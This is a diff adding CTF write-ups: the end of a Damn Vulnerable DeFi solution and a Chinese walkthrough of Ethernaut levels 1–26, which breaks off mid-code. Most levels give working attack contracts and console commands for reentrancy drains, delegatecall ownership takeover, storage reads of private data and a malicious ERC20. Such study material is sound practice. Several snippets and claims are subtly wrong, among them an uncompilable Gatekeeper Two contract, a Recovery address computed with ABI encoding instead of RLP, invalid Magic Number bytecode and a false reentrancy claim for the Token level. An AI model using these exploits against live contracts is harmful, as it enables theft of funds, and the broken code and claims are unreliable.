+        operations[id].executed = true;
+    }
+```
+
+We notice that it first execute all the actions, and then check if it's ready for execution. Obviously it does not follow the [Checks Effects Interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) pattern in programming. Although it will not trigger re-entrancy vulnerability as most cases, we can execute something when it's not ready, and make it to be ready in the process of execution.
+
+
+
+Since we want to call the sweep function of `vault`, and the `timelock` contract is just the owner of `vault`, we can try to upgrade the `vault` implementation and drain the vault. It's true, but I suffered a lot trouble in coding this idea. I always suffered some unexpected error, and it's difficult to debug and code because of the upgradeable pattern...
+
+You can see my final solution in the github repo. I choose to transfer the ownership to my attacker contract address, and use `upgradeToAndCall` to finish the attack.
+
+
+
+
+
+## Conclusion
+
+Congratulations for finishing this series of challenges! You may feel that you learn a lot of DeFi knowledge and audition experience, as I did. 
+
+
+
+Welcome candid criticism to all kinds of error(knowledge or grammar) in my article by github issue, or contact me with email. 
+
+[Author's Personal website](https://y1cunhui.github.io/posts/Damn-Vulnerable-DeFi-Solution/)
+
+
+
+## Reference
+
+[write-up series on Damn Vulnerable DeFi V2](https://ventral.digital/posts/tag/Damn+Vulnerable+DeFi+v2)
+[Damn Vulnerable DeFi Solutions](https://cmichel.io/damn-vulnerable-de-fi-solutions/)
\ No newline at end of file
diff --git a/security/Ethernaut-wp-cn.md b/security/Ethernaut-wp-cn.md
new file mode 100644
index 000000000..c0906b3b7
--- /dev/null
+++ b/security/Ethernaut-wp-cn.md
@@ -0,0 +1,1004 @@
+# Ethernaut Solutions
+## 项目介绍
+
+[Ethernaut](https://ethernaut.openzeppelin.com/) 是 OpenZeppelin 开发的一个 Web3/Solidity 的游戏，通过闯关的方式来学习智能合约安全。每一关都是一个需要被攻破的智能合约，通过发现和利用合约中的漏洞来通过挑战。
+
+## 难度：
+- [Easy] - 基础概念和简单漏洞
+- [Medium] - 需要理解合约机制和常见攻击方式
+- [Hard] - 复杂的漏洞利用和高级概念
+
+## 01. Fallback ✅ [Easy]
+
+这关主要考察 fallback 函数的知识点：
+- `receive()` 函数在合约接收 ETH 时被调用
+- `fallback()` 函数在调用不存在的函数时被调用
+- 通过发送少量 ETH 并调用 `contribute()` 函数来满足条件
+- 最后通过 `receive()` 函数获取合约所有权
+
+攻击步骤：
+1. 调用 `contribute()` 并发送少量 ETH (<0.001)
+```js
+await contract.contribute({value: web3.utils.toWei('0.0001')});
+```
+
+2. 直接向合约发送 ETH 触发 `receive()`
+```js
+await contract.sendTransaction({value: web3.utils.toWei('0.0001')});
+```
+
+3. 调用 `withdraw()` 提取所有 ETH
+```js
+await contract.withdraw();
+```
+
+## 02. Fallout ✅ [Easy]
+
+这关主要考察早期 Solidity 版本的构造函数问题：
+- 老版本使用与合约同名的函数作为构造函数
+- 如果函数名称与合约名不完全一致,就变成了普通函数
+- 攻击者可以直接调用该函数获取所有权
+
+攻击步骤：
+1. 直接调用 `Fal1out()` 函数获得合约所有权
+```js
+await contract.Fal1out();
+```
+
+2. 调用 `collectAllocations()` 提取资金
+```js
+await contract.collectAllocations();
+```
+
+学习要点：
+- 构造函数的安全性
+- 代码审计的重要性
+- 新版本使用 `constructor` 关键字更安全
+
+## 03. Coin Flip ✅ [Medium]
+
+这关主要考察区块链的随机数问题：
+- 链上随机数可以被预测
+- `block.number` 等区块信息是公开的
+- 攻击者可以在同一区块复制计算逻辑
+
+攻击步骤：
+1. 部署攻击合约复制游戏合约的计算逻辑
+2. 手动调用 `attackCoin()` 十次（每次等待新区块）
+3. 确认胜利次数达到10次
+
+> 注意：不能使用循环连续调用 `attackCoin()` 十次，因为每次猜测都需要在不同区块中进行。如果在同一个区块中多次调用，会使用相同的 `blockhash`，导致预测结果相同。
+
+攻击合约代码：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+interface ICoinFlip {
+    function flip(bool _guess) external returns (bool);
+}
+
+contract attack {
+    ICoinFlip public targetContract;
+    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+    constructor(address _targetAddress) {
+        targetContract = ICoinFlip(_targetAddress);
+    }
+
+    function attackCoin() public {
+        uint256 blockValue = uint256(blockhash(block.number - 1));
+        uint256 coinFlip = blockValue / FACTOR;
+        bool side = coinFlip == 1 ? true : false;
+
+        targetContract.flip(side);
+    }
+}
+```
+
+学习要点：
+- 链上随机数的局限性
+- 不应使用区块信息作为随机源
+- 可以使用 Chainlink VRF 等预言机获取真随机数
+- 理解区块链的时序性，每个区块的信息都是唯一的
+
+## 04. Telephone ✅ [Easy]
+
+这关主要考察对tx.origin的理解：
+- tx.origin 是交易的发送者
+- 攻击者可以利用 tx.origin 来欺骗合约，使其认为攻击者是合约的拥有者
+
+攻击步骤：
+1. 写一个攻击合约
+2. 调用 `changeOwner()` 函数，将合约的 owner 设置为攻击者
+
+学习要点：
+- 理解 tx.origin 的局限性
+- 使用 msg.sender 更安全
+
+## 05. Token ✅ [Easy]
+
+这关主要考察对solidity的漏洞的理解：
+- 在 Solidity 0.6.x 及更早版本中，`transfer()` 和 `send()` 函数存在漏洞
+- 在 Solidity 0.6.x 中，如果 balances[msg.sender] 小于 _value，balances[msg.sender] -= _value; 会发生 整数下溢（uint 从 0 减去 1 会变成 2^256 - 1）。
+这会导致攻击者的余额变得非常大。
+- 这些函数在处理错误时不会回滚交易，而是返回 false
+- 攻击者可以利用这些漏洞进行重入攻击
+
+攻击步骤：
+1. 先查看自己的msg.sender的余额
+2. 调用 `transfer()` 函数
+```js
+await contract.transfer("0x0000000000000000000000000000000000000000", 21);
+```
+3. 查看自己的余额，发现余额增加了
+
+学习要点：
+- 理解 Solidity 0.6.x 的整数下溢漏洞
+- 使用更安全的函数和库(SafeMath或者自行添加溢出检查)
+
+## 06. Delegation ✅ [Easy]
+
+这关主要考察对delegatecall的理解：
+- delegatecall 是低级调用，可以调用另一个合约的代码，delegatecall 是一种底层函数调用，它允许合约 A 执行合约 B 的代码，但使用 A 的存储上下文。换句话说，合约 B 的逻辑会影响合约 A 的状态。
+- 攻击者可以利用 delegatecall 来调用合约的代码，从而获取合约的所有权
+
+攻击步骤：
+1. await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});
+web3.utils.sha3("pwn()") 会生成函数签名的哈希值
+.slice(0,10) 取哈希值的前 4 字节（这是函数选择器）
+
+学习要点：
+- 在使用 delegatecall 时，必须确保被调用合约的逻辑与当前合约的存储布局一致，否则可能导致存储被意外覆盖。
+- 实际开发中避免漏洞
+
+- 避免在 fallback 函数中使用 delegatecall，除非有严格的访问控制。
+- 使用现代的合约框架（如 OpenZeppelin 的 Proxy 合约）来实现代理逻辑。
+
+## 07. Force ✅ [Medium]
+
+这关主要考察对selfdestruct的理解：
+- selfdestruct 是 Solidity 中的一个低级函数，用于销毁合约并将其所有余额发送给指定的目标地址。
+- 攻击者可以利用 selfdestruct 来强制将合约的余额发送给目标地址
+
+攻击步骤：
+1. 部署一个新合约并向该合约发送以太币。
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract ForceAttack {
+    constructor() public payable {
+        // 构造函数可接收以太币
+    }
+
+    function attack(address payable _target) public {
+        selfdestruct(_target);
+    }
+}
+```
+
+2. 调用 `attack()` 函数，将合约的余额发送给目标地址
+```js
+// 调用攻击函数，强制发送以太币
+await attackContract.attack(contract.address);
+// 验证 Force 合约的余额
+const balance = await web3.eth.getBalance(contract.address);
+console.log("Force Contract Balance:", balance);
+```
+
+学习要点：
+- 理解 selfdestruct 的机制
+- 确保你的合约逻辑不依赖于余额为零的假设。
+- 避免在代码中直接检查合约余额。
+
+## 08. Vault ✅ [Easy]
+
+这关主要考察对区块链的存储的理解：
+- 区块链的存储是公开的，任何人都可以查看，哪怕存储是private的数据也可以查看
+- 攻击者可以利用区块链的存储来获取合约的密码
+- Solidity 中的所有状态变量都存储在合约的存储槽（Storage Slots）中。
+- 公共变量（如 locked）可以直接通过合约接口读取。
+- 私有变量（如 password）虽然标记为 private，但实际上只是在 Solidity 中不可直接通过合约代码访问。它们仍然可以通过低级的存储读取方法（如 web3.eth.getStorageAt）获取。
+
+攻击步骤：
+1. 使用 web3.eth.getStorageAt 读取存储槽 1 的内容（password 存储在存储槽 1）。
+```js
+await web3.eth.getStorageAt(contract.address, 1).toString();
+```
+2. 将读取到的密码作为参数调用 `unlock()` 函数。
+```js
+await contract.unlock(password);
+```
+
+学习要点：
+- 理解 Solidity 中的存储布局
+- 使用低级函数（如 web3.eth.getStorageAt）来访问私有变量
+- 不要将敏感数据直接存储在链上，即使使用 private 关键字。
+- 如果需要存储敏感数据，建议使用加密方式存储，并仅在必要时解密。
+
+## 09. King ✅ [Easy]
+
+这关主要考察对重入攻击特殊变体的理解了：
+- 重入攻击是指攻击者利用合约的漏洞，在合约执行过程中多次调用某个函数，从而获取更多的利益。
+- 攻击者可以利用重入攻击来获取合约的控制权
+
+攻击步骤：
+1. 如果当前国王是一个智能合约，而该合约的 receive 函数无法接收 ETH（或者故意导致交易失败），新的国王就无法成功调用 receive，从而阻止任何其他玩家成为新的国王。
+2. 部署一个攻击合约，并通过攻击合约成为国王。
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract KingAttack {
+    address public target;
+
+    constructor(address _target) public {
+        target = _target;
+    }
+
+    function attack() public payable {
+        // 调用目标合约，并成为新的国王
+        (bool success, ) = target.call{value: msg.value}("");
+        require(success, "Attack failed");
+    }
+
+    // 故意让接收 ETH 的函数失败
+    receive() external payable {
+        revert("I refuse to give up the throne!");
+    }
+}
+```
+
+3. 部署攻击合约并提供足够的 ETH（大于当前的 prize）
+
+学习要点：
+- 理解receive函数的作用：在目标合约中，receive 函数是接收 ETH 的核心逻辑。如果接收方不能正确处理 ETH 转账，会导致交易失败。
+- 防御建议：避免使用低级调用（如 call）进行转账，可以使用 transfer 或 send，它们在转账失败时会自动回滚。
+- 在合约设计中，避免依赖外部合约的行为来完成核心逻辑。
+- 使用现代的合约框架（如 OpenZeppelin 的 ReentrancyGuard）来实现安全重入控制
+ReentrancyGuard的使用示例：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+contract SecureVault is ReentrancyGuard {
+    mapping(address => uint256) private balances;
+
+    // 存款函数
+    function deposit() external payable {
+        require(msg.value > 0, "Deposit must be greater than 0");
+        balances[msg.sender] += msg.value;
+    }
+
+    // 提现函数，使用 `nonReentrant` 修饰符防止重入攻击
+    function withdraw(uint256 amount) external nonReentrant {
+        require(amount > 0, "Withdraw must be greater than 0");
+        require(balances[msg.sender] >= amount, "Insufficient balance");
+
+        // 先减少余额，再转账
+        balances[msg.sender] -= amount;
+        (bool success, ) = msg.sender.call{value: amount}("");
+        require(success, "Transfer failed");
+    }
+
+    // 查看账户余额
+    function getBalance() external view returns (uint256) {
+        return balances[msg.sender];
+    }
+}
+```
+
+## 10. Re-entrancy ✅ [Medium]
+
+这关主要考察对re-entrancy的理解：
+- 重入攻击是指攻击者利用合约的漏洞，在合约执行过程中多次调用某个函数，从而获取更多的利益。
+- 攻击者可以利用重入攻击来获取合约的控制权
+
+攻击步骤：
+1. 编写攻击合约
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "./Reentrance.sol";
+
+contract ReentranceAttack {
+    Reentrance public target;
+    address public owner;
+
+    constructor(address payable _target) public {
+        target = Reentrance(_target);
+        owner = msg.sender;
+    }
+
+    // 调用目标合约的 donate 函数
+    function donate() public payable {
+        target.donate{value: msg.value}(address(this));
+    }
+
+    // 发起攻击
+    function attack(uint256 _amount) public {
+        target.withdraw(_amount);
+    }
+
+    // 重入逻辑
+    receive() external payable {
+        if (address(target).balance > 0) {
+            target.withdraw(msg.value);
+        }
+    }
+
+    // 提取攻击合约中的以太币
+    function withdraw() public {
+        require(msg.sender == owner, "Not the owner");
+        payable(owner).transfer(address(this).balance);
+    }
+}
+```
+2. 调用 `donate()` 函数，将合约的余额发送给攻击合约
+```js
+await contract.donate{value: 1 ether}();
+```
+3. 调用 `attack()` 函数，发起攻击
+```js
+await attackContract.attack(1 ether);
+```
+
+学习要点：
+- 理解 re-entrancy 的机制
+- 使用现代的合约框架（如 OpenZeppelin 的 ReentrancyGuard）来实现安全重入控制
+
+## 11. Elevator ✅ [Easy]
+
+这关主要考察对interface的理解：
+- interface 是 Solidity 中的一种抽象合约，用于定义合约的函数签名，但不包含实现代码。
+- 攻击者可以利用实现 interface 的合约但是使用含有攻击的function来获取合约的控制权
+
+攻击步骤：
+1. 主要是实现了interface的攻击合约的编写
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+import "./Elevator.sol";
+
+contract ElevatorAttack is Building {
+    Elevator public target;
+    bool public toggle;
+
+    constructor(address _target) public {
+        target = Elevator(_target);
+    }
+
+    function isLastFloor(uint) external override returns (bool) {
+        toggle = !toggle; // 切换返回值
+        return toggle;
+    }
+
+    function attack(uint _floor) public {
+        target.goTo(_floor);
+    }
+}
+```
+
+学习要点：
+- 限制接口调用者: 验证调用者是否为可信合约或特定地址。
+- 使用 require 检查 msg.sender
+```solidity
+require(msg.sender == trustedAddress, "Unauthorized caller");
+```
+- 逻辑验证: 避免完全依赖外部合约的返回值，加入内部验证逻辑。
+
+
+## 12. Privacy ✅ [Easy]
+
+这个关卡主要考察对存储槽和数据保护的理解：
+- 存储槽是 Solidity 中用于存储变量的空间，每个存储槽都有一个唯一的索引。
+- 攻击者可以利用存储槽来获取合约的私有数据
+
+攻击步骤：
+1. 首先分析：Solidity 存储布局，状态变量按顺序存储在存储槽中：
+locked 位于槽 0。
+ID 位于槽 1。
+flattening, denomination, 和 awkwardness 共用槽 2。
+data 数组从槽 3 开始，分别存储 data[0], data[1], 和 data[2]。
+尽管data 的存储内容是私有的（private），但在以太坊上，所有存储槽都是可通过低级工具（如 web3.eth.getStorageAt）读取的。
+2. 使用 web3.eth.getStorageAt 读取存储槽 5 的内容
+```js
+await web3.eth.getStorageAt(contract.address, 5).toString();
+```
+3. 将读取到的 key 转换为 bytes16，然后调用 unlock 函数：
+```js
+await contract.unlock(key.slice(0, 34)); // 使用前 16 字节
+```
+
+学习要点：
+- flattening, denomination, 和 awkwardness 共用槽 2：
+  - 存储槽规则
+  - 一个存储槽大小为 32 字节（256 位）。
+  - 如果多个状态变量的总大小不超过 32 字节，它们会共用同一个槽。
+  - 变量大小
+  - flattening 是 uint8（1 字节）。 
+  - denomination 是 uint8（1 字节）。
+  - awkwardness 是 uint16（2 字节）。
+  - 它们总共占用 1 + 1 + 2 = 4 字节，远小于 32 字节，因此 Solidity 将它们打包到同一个槽（槽 2）。
+- 关于 key.slice(0, 34) 的原因
+  - 在 JavaScript 中，web3.eth.getStorageAt 返回的是一个以太坊存储槽内容的十六进制字符串，类似于 0x 开头的 64 个字符（32 字节）。每两个字符表示 1 字节，因此：
+  - key 的长度是 66 个字符（包括前缀 0x）。
+  - 前 16 字节的十六进制表示需要 32 个字符（16 字节 * 2 个字符/字节）。
+  - 加上 0x 的前缀，总共是 34 个字符。
+  - 因此，key.slice(0, 34) 提取的就是前 16 字节的十六进制表示。
+
+## 13. Gatekeeper One ✅ [Hard]
+
+这个关卡主要考察对访问控制和位操作的理解：
+- msg.sender 与 tx.origin 的区别
+  - 在以太坊中：
+    - msg.sender
+      - 当前调用合约的直接调用者。
+      - 在合约 A 调用合约 B 时，对于合约 B 来说，msg.sender 是合约 A 的地址。
+    - tx.origin
+      - 整个交易的起始调用者（通常是外部账户）。
+      - 无论有多少层合约调用，tx.origin 始终是最初发起交易的外部账户地址。
+
+攻击思路：
+1. 让msg.sender不等于tx.origin，即：引入一个中间合约来攻击即可，这样msg.sender就是中间合约的地址，tx.origin就是外部账户的地址
+2. 设计gateKey
+GateKey 的设计原理，_gateKey 是一个 bytes8 类型的参数，目标是满足以下三个条件：
+
+条件 1: uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
+将 _gateKey 转换为 64 位无符号整数后，取前 32 位和前 16 位，它们的值必须相同。
+解释：
+_gateKey 的高位 48 位必须为 0，这样前 32 位和前 16 位会完全相同。
+例如：_gateKey = 0x000000000000ABCD。
+条件 2: uint32(uint64(_gateKey)) != uint64(_gateKey)
+将 _gateKey 转换为 64 位无符号整数后，前 32 位和完整 64 位的值不能相同。
+解释：
+_gateKey 的低位 32 位不能全是 0，否则前 32 位和完整 64 位会相同。
+例如：_gateKey = 0x00000000XXXXXXXX，其中 XXXXXXXX 不为 0。
+条件 3: uint32(uint64(_gateKey)) == uint16(tx.origin)
+_gateKey 的前 16 位必须等于你的外部账户地址的最后 2 字节。
+解释：
+tx.origin 是你的外部账户地址。
+地址是 20 字节（160 位），最后 2 字节就是地址的低位 16 位。
+```js
+const txOrigin = web3.eth.defaultAccount; // 你的外部账户地址
+const keyPart = txOrigin.slice(-4); // 获取地址最后 4 个字符（2 字节）
+const gateKey = `0x000000000000${keyPart}`; // 构造 _gateKey
+```
+3. 设计攻击合约
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract GatekeeperOneAttack {
+    address public target;
+
+    constructor(address _target) public {
+        target = _target;
+    }
+
+    function attack(bytes8 _gateKey) public {
+        for (uint256 i = 0; i < 8191; i++) {
+            (bool success, ) = target.call{gas: i + 8191 * 3}(
+                abi.encodeWithSignature("enter(bytes8)", _gateKey)
+            );
+            if (success) {
+                break;
+            }
+        }
+    }
+}
+```
+
+学习要点：
+- 理解 GateKey 的设计原理
+- 使用 for 循环来反复攻击到gasleft() % 8191 == 0， call 函数进行重入攻击
+- 了解 msg.sender 和 tx.origin 的区别
+
+## 14. Gatekeeper Two ✅ [Hard]
+
+这关主要考察对访问控制、位操作和内联汇编的理解：
+- 内联汇编：内联汇编是 Solidity 中的一种低级语言，用于直接在 Solidity 代码中编写汇编代码。
+
+攻击思路：
+1. Gate Two中使用内联汇编 extcodesize 检查调用者地址的代码大小：
+extcodesize(caller()) 获取调用者（msg.sender）地址的代码大小。
+如果调用者是合约地址，extcodesize 会返回合约代码的大小。
+要求 extcodesize 返回 0，说明调用者不能是一个已经部署好的合约。
+也即：需要在构造函数中调用目标合约来攻击，合约的构造函数执行期间，extcodesize 返回 0，因为合约的代码还没有部署。
+
+2. Gate Three就很简单，uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1。
+
+3.设计攻击合约
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+interface GatekeeperTwo {
+    function enter(bytes8 _gateKey) external returns (bool);
+}
+
+contract GatekeeperTwoAttack {
+    constructor(address target) public {
+        // 计算 _gateKey
+        unchecked {
+            gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1);
+        }
+
+        // 调用 enter 函数
+        GatekeeperTwo(target).enter(gateKey);
+    }
+}
+```
+
+学习要点：
+- 避免使用 extcodesize 判断调用者
+extcodesize 的行为在合约构造期间容易被绕过。
+- 在以太坊智能合约中，extcodesize(address) 是一个 EVM 操作码，它返回指定地址上存储的代码大小。通常用于检测目标地址是否为合约地址。
+但是，由于智能合约的代码只有在部署完成后才会存储到区块链上，在部署合约的构造函数中调用 extcodesize 始终返回 0，这为某些攻击者提供了绕过检测的机会。
+- 绕过原理：部署合约时，EVM 会先执行构造函数，直到构造函数完成后，才将合约字节码写入区块链。
+在构造函数中查询合约自身的代码大小 extcodesize(address(this))，由于代码尚未存储，返回值永远为 0。
+某些合约希望通过 extcodesize 检查调用者是否为外部账户（EOA）而非合约地址，通常这样写：
+```solidity
+require(extcodesize(msg.sender) == 0, "Contracts not allowed");
+```
+如果攻击者通过部署合约并在其构造函数中进行调用，由于构造阶段 extcodesize 返回 0，这种检测将被绕过。
+- 改用更可靠的身份验证方式，比如签名验证。
+- 限制调用者范围
+验证调用者是否是预定义地址或经过授权的地址。
+- 避免使用易预测的哈希值
+不要依赖调用者地址或可预测的值作为访问条件。
+
+## 15. Naught Coin ✅ [Medium]
+
+没有新东西
+提供两个思路：
+第一种：使用ERC20的approve和transferfrom方法
+第二种：利用modifier设计的缺陷，通过中间合约来调用逃过require的时间检测
+
+## 16. Preservation ✅ [Medium]
+
+这关主要考察对delegatecall的理解：
+- delegatecall 是一种低级函数，用于在当前合约的上下文中执行另一个合约的代码。
+- 攻击者可以利用 delegatecall 来执行目标合约的代码，从而获取目标合约的控制权。
+
+攻击思路：
+1. LibraryContract 的 storedTime 虽然在其定义中位于 Slot 0，但由于使用了 delegatecall，其逻辑实际上操作的是 Preservation 合约的 Slot 0，即 timeZone1Library。
+2. 如果将 timeZone1Library 设置为攻击合约地址，可以通过 delegatecall 执行恶意合约逻辑，并直接修改 Slot 2（owner）。
+3. 攻击合约：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract MaliciousLibrary {
+    // 保持存储布局与 Preservation 合约一致
+    address public timeZone1Library; // Slot 0
+    address public timeZone2Library; // Slot 1
+    address public owner;            // Slot 2
+
+    function setTime(uint256 _time) public {
+        owner = address(uint160(_time)); // 将 uint256 转为地址并赋值给 owner
+    }
+}
+```
+
+学习要点：
+- 理解 delegatecall 的工作原理
+- 在以太坊智能合约中，delegatecall 是一种低级调用方式，用来将一个合约中的逻辑执行权限委托给另一个合约。被委托的合约代码执行时：
+使用调用者的上下文（包括 msg.sender 和 msg.value）
+共享调用者的存储空间
+这种机制虽然非常强大，但也伴随存储槽（Storage Slots）覆盖风险。
+- 当使用 delegatecall 调用另一个合约时：
+被调用合约 B 会使用调用合约 A 的存储槽来读写数据。
+由于存储槽位置是按变量声明顺序分配的，若 A 和 B 的变量布局不一致，delegatecall 可能会错误覆盖调用合约的存储槽。
+- eg. 
+```solidity
+pragma solidity ^0.8.0;
+
+contract A {
+    uint256 public x = 1; // slot 0
+    uint256 public y = 2; // slot 1
+
+    function delegateTo(address _target, uint256 _value) public {
+        (bool success, ) = _target.delegatecall(
+            abi.encodeWithSignature("setX(uint256)", _value)
+        );
+        require(success, "Delegatecall failed");
+    }
+}
+
+contract B {
+    uint256 public z = 0; // slot 0 (不同的布局)
+    
+    function setX(uint256 _value) public {
+        z = _value; // 写入 slot 0，但 A 会将其映射到 x
+    }
+}
+```
+- 存储布局一致性在使用 delegatecall 时至关重要。
+- 避免外部调用未受信任的合约地址。
+
+## 17. Recovery ✅ [Medium]
+
+这关考察的是通过区块链上公开的数据恢复丢失的合约和资金：
+在 Ethereum 中，合约地址是通过以下公式计算的：address = keccak256(rlp.encode([sender, nonce]))[12:]
+sender 是创建合约的地址。nonce 是该地址的交易计数。
+
+思路：
+找回地址即可：
+```js
+const recoveryAddress = "RECOVERY_CONTRACT_ADDRESS"; // 替换为实际地址
+const nonce = 1; // Recovery 合约的 nonce，假设这是它的第一次部署
+const tokenAddress = web3.utils.toChecksumAddress(
+  "0x" + web3.utils.keccak256(web3.eth.abi.encodeParameters(
+    ["address", "uint256"],
+    [recoveryAddress, nonce]
+  )).slice(26)
+);
+
+console.log("Token Address:", tokenAddress);
+```
+
+## 18. Magic Number ✅ [Easy]
+
+这关考察的是极简合约的构造以及如何通过 EVM 字节码直接部署合约:
+这个关卡的核心目标是部署一个符合以下条件的合约：
+
+代码总长度不超过 10 字节。
+返回任意有效的结果（不一定是 42）。
+```assembly
+PUSH1 0xff   // 推送值 255
+PUSH1 0x00   // 返回数据的存储位置
+RETURN
+```
+
+## 19. Alien Codex ✅ [Medium]
+
+思路很简单：利用codex.length--使下标溢出然后ethereum会认为此时的codex分布在整个2^256-1的slot中（Ethereum 认为数组 codex 的元素范围扩展到整个存储的所有槽位 (0 ~ 2^256-1)）此时我们计算出slot0（Owner）的索引i，然后修改存储在slot的owner
+实现很复杂：
+```js
+// 计算目标索引
+const hash1 = web3.utils.keccak256(web3.eth.abi.encodeParameter("uint256", 1));
+const targetIndex = web3.utils.toBN(2).pow(web3.utils.toBN(256)).sub(web3.utils.toBN(hash1));
+// 修改 slot 0
+const attackerBytes32 = web3.utils.padLeft(attacker, 64); // 将攻击者地址转换为 bytes32
+alienCodex.methods.revise(targetIndex.toString(), attackerBytes32).send({ from: attacker });
+```
+
+## 20. Denial ✅ [Easy]
+
+很简单，还是使用call的漏洞，消耗大量gas就行，或者直接把钱全盗出来
+
+## 21. Shop ✅ [Easy]
+
+主要就是攻击者的逻辑：
+```solidity
+ function price() external view override returns (uint256) {
+        // 根据 isSold 状态返回不同的价格
+        return shop.isSold() ? 0 : 100;
+    }
+```
+
+可能实际有变化，主要思想是：
+- 避免调用外部合约的函数返回值来决定逻辑：
+外部调用是不可控的，可能被恶意操纵。
+- 使用 view 函数获取外部值后立即保存：
+将外部函数的返回值保存到一个变量中，避免多次调用：
+
+```solidity
+uint256 currentPrice = _buyer.price();
+if (currentPrice >= price && !isSold) {
+    isSold = true;
+    price = currentPrice;
+}
+```
+- 严格验证逻辑：
+使用内部逻辑或固定值来决定合约行为，而不是外部依赖。
+
+## 22. Dex ✅ [Hard]
+
+这个很有意思：
+合约中代币价格的计算公式：uint256 swapAmount = (amount * toTokenBalance) / fromTokenBalance;
+该公式是一个简单的比例计算，用于动态确定代币的兑换比例。理论上可以工作，但它完全依赖于当前的池子余额来计算价格。
+当余额变化幅度较大（比如恶意用户操纵价格时），公式的输出就会大幅波动，导致价格失真。（容易出现1个Token1能换10个Token2的情况）那我来回倒腾就越赚越多。
+
+缺乏保护机制：
+没有滑点限制：滑点是代币价格波动的一个自然现象，但应该有一个限制，以避免因一次交易导致极端的价格变化。
+缺乏最小价格检查：合约允许攻击者利用逐步减少余额的方式，导致一种代币价格变得极低甚至为零，从而耗尽流动性池。
+
+这个漏洞暴露的问题是去中心化交易所需要更复杂的机制来保护池子的稳定性。解决方法是：  
+- 使用 恒定乘积公式 确保价格平稳。
+- 添加滑点保护和最小流动性限制。
+- 避免直接依赖外部用户行为决定合约逻辑。
+- 考虑手续费模型减少恶意行为的收益。
+
+
+## 23. Dex Two ✅ [Hard]
+
+这个对比dex1就是少了require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");限制
+那就可以注入一个攻击Token只要是实现了ERC20就行，那就可以添加攻击transfer了
+```solidity
+contract MaliciousToken is ERC20 {
+    constructor() ERC20("Malicious", "MTK") {}
+
+    function balanceOf(address account) public view override returns (uint256) {
+        return 1e18; // 固定返回高余额
+    }
+
+    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
+        return true; // 强制转账成功
+    }
+}
+
+// 攻击合约
+contract AttackDexTwo {
+    DexTwo public dex;
+    MaliciousToken public token;
+
+    constructor(address _dex) {
+        dex = DexTwo(_dex);
+        token = new MaliciousToken();
+    }
+
+    function exploit() public {
+        // 向 DexTwo 中添加恶意代币流动性
+        dex.add_liquidity(address(token), 1); // 添加1个恶意代币
+
+        // 利用恶意代币的高余额操控价格
+        dex.swap(address(token), dex.token1(), 1);
+        dex.swap(address(token), dex.token2(), 1);
+
+        // 此时，DexTwo 的 token1 和 token2 已被耗尽
+    }
+}
+```
+
+## 24. Puzzle Wallet ✅ [Hard]
+
+这题有两个问题：
+1. 如何成为upgradeable合约的管理员
+因为UpgradeableProxy 中使用的delegatecall，admin所在的slot和puzzlewallet的max_balance所在的slot是同一个slot，所以可以通过调用来把admin改成自己并把自己加到whitelist里
+
+2. 怎么多次调用deposit
+在multicall里的deposit 的限制是 “只能调用一次”，但是没有限制multicall不能调用自己本身，可以将 multicall 调用嵌套在另一个 multicall 中，例如：
+multicall([
+  multicall([deposit])
+])
+在外层 multicall 中，depositCalled 变量重置为 false。内层调用的 multicall 会调用 deposit，然后再次嵌套，绕过了布尔变量的限制。
+
+## 25. Motorbike ✅ [Hard]
+
+重点在于理解：
+delegatecall的过程，还有代理合约和逻辑合约
+
+代理合约 (moto) 是存储变量的地方：
+代理合约用来保存所有状态变量，例如 initialized，这些变量的值实际存储在代理合约的存储槽中。
+当通过代理合约调用 engine 的 initialize 方法时，delegatecall 的作用是让 initialize 在代理合约的存储上下文中运行，因此会在代理合约的存储槽里设置 initialized = true。
+
+逻辑合约 (engine) 只提供代码：
+逻辑合约本身并不存储变量，它只定义了变量的布局和逻辑。
+如果直接调用逻辑合约的方法，例如 engine.initialize()，存储变量 initialized 对逻辑合约来说始终是未初始化的默认值（false），因为它并没有独立的存储。
+因此，每次直接调用 engine 的方法，initialized = true 都相当于一个临时变量的更改，不会被保存下来。
+
+```solidity
+fallback() external payable {
+    assembly {
+        // 1. 复制 calldata 到内存
+        calldatacopy(0, 0, calldatasize())
+
+        // 2. 使用 delegatecall 调用逻辑合约
+        let result := delegatecall(
+            gas(),                  // 转发所有剩余 gas
+            sload(implementation.slot), // 加载逻辑合约地址
+            0,                      // 输入数据起始地址
+            calldatasize(),         // 输入数据大小
+            0,                      // 输出数据起始地址
+            0                       // 输出数据大小
+        )
+
+        // 3. 将返回数据复制到内存
+        returndatacopy(0, 0, returndatasize())
+
+        // 4. 根据调用结果返回或回滚
+        switch result
+        case 0 { revert(0, returndatasize()) }
+        default { return(0, returndatasize()) }
+    }
+}
+```
+
+然后创建自定义合约以执行 selfdestruct
+部署一个恶意合约，使用 selfdestruct 摧毁逻辑合约：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Destroyer {
+    function destroy(address payable target) external {
+        selfdestruct(target);
+    }
+}
+```
+
+调用 destroy 函数，目标是逻辑合约地址：
+```javascript
+await destroyerContract.methods.destroy(logicAddress).send({ from: player });
+```
+
+## 26. DoubleEntryPoint ✅[Easy]
+
+直接中间合约调用sweepToken(LGT)就完了，修复的话
+```solidity
+function sweepToken(IERC20 token) external onlyOwner {
